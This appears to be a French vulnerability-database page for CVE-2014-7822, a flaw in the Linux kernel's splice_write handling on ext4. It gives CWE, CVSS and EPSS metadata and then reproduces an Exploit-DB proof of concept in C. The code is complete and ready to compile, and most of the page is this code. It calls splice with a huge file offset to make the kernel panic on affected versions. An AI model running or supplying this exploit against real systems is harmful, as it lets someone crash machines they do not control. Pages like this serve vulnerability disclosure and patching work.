Faiblesses connexes
CWE-ID |
Nom de la faiblesse |
Source |
CWE-264 |
Category : Permissions, Privileges, and Access Controls Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control. |
|
Métriques
Métriques |
Score |
Gravité |
CVSS Vecteur |
Source |
V2 |
7.2 |
|
AV:L/AC:L/Au:N/C:C/I:C/A:C |
[email protected] |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 36743
Date de publication : 2015-04-12 22h00 +00:00
Auteur : Emeric Nasi
EDB Vérifié : No
/* ----------------------------------------------------------------------------------------------------
* cve-2014-7822_poc.c
*
* The implementation of certain splice_write file operations in the Linux kernel before 3.16 does not enforce a restriction on the maximum size of a single file
* which allows local users to cause a denial of service (system crash) or possibly have unspecified other impact via a crafted splice system call,
* as demonstrated by use of a file descriptor associated with an ext4 filesystem.
*
*
* This is a POC to reproduce vulnerability. No exploitation here, just simple kernel panic.
* Works on ext4 filesystem
* Tested on Ubuntu with 3.13 and 3.14 kernels
*
* Compile with gcc -fno-stack-protector -Wall -o cve-2014-7822_poc cve-2014-7822_poc.c
*
*
* Emeric Nasi - www.sevagas.com
*-----------------------------------------------------------------------------------------------------*/
/* ----------------------- Includes ----------------------------*/
#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <stdlib.h>
#include <limits.h>
#define EXPLOIT_NAME "cve-2014-7822"
#define EXPLOIT_TYPE DOS
#define JUNK_SIZE 30000
/* ----------------------- functions ----------------------------*/
/* Useful:
*
+============+===============================+===============================+
| \ File flag| | |
| \ | !EXT4_EXTENTS_FL | EXT4_EXTETNS_FL |
|Fs Features\| | |
+------------+-------------------------------+-------------------------------+
| !extent | write: 2194719883264 | write: -------------- |
| | seek: 2199023251456 | seek: -------------- |
+------------+-------------------------------+-------------------------------+
| extent | write: 4402345721856 | write: 17592186044415 |
| | seek: 17592186044415 | seek: 17592186044415 |
+------------+-------------------------------+-------------------------------+
*/
/**
* Poc for cve_2014_7822 vulnerability
*/
int main()
{
int pipefd[2];
int result;
int in_file;
int out_file;
int zulHandler;
loff_t viciousOffset = 0;
char junk[JUNK_SIZE] ={0};
result = pipe(pipefd);
// Create and clear zug.txt and zul.txt files
system("cat /dev/null > zul.txt");
system("cat /dev/null > zug.txt");
// Fill zul.txt with A
zulHandler = open("zul.txt", O_RDWR);
memset(junk,'A',JUNK_SIZE);
write(zulHandler, junk, JUNK_SIZE);
close(zulHandler);
//put content of zul.txt in pipe
viciousOffset = 0;
in_file = open("zul.txt", O_RDONLY);
result = splice(in_file, 0, pipefd[1], NULL, JUNK_SIZE, SPLICE_F_MORE | SPLICE_F_MOVE);
close(in_file);
// Put content of pipe in zug.txt
out_file = open("zug.txt", O_RDWR);
viciousOffset = 118402345721856; // Create 108 tera byte file... can go up as much as false 250 peta byte ext4 file size!!
printf("[cve_2014_7822]: ViciousOffset = %lu\n", (unsigned long)viciousOffset);
result = splice(pipefd[0], NULL, out_file, &viciousOffset, JUNK_SIZE , SPLICE_F_MORE | SPLICE_F_MOVE); //8446744073709551615
if (result == -1)
{
printf("[cve_2014_7822 error]: %d - %s\n", errno, strerror(errno));
exit(1);
}
close(out_file);
close(pipefd[0]);
close(pipefd[1]);
//Open zug.txt
in_file = open("zug.txt", O_RDONLY);
close(in_file);
printf("[cve_2014_7822]: POC triggered, ... system will panic after some time\n");
return 0;
}
Products Mentioned
Configuraton 0
Linux>>Linux_kernel >> Version To (including) 3.15.8
Références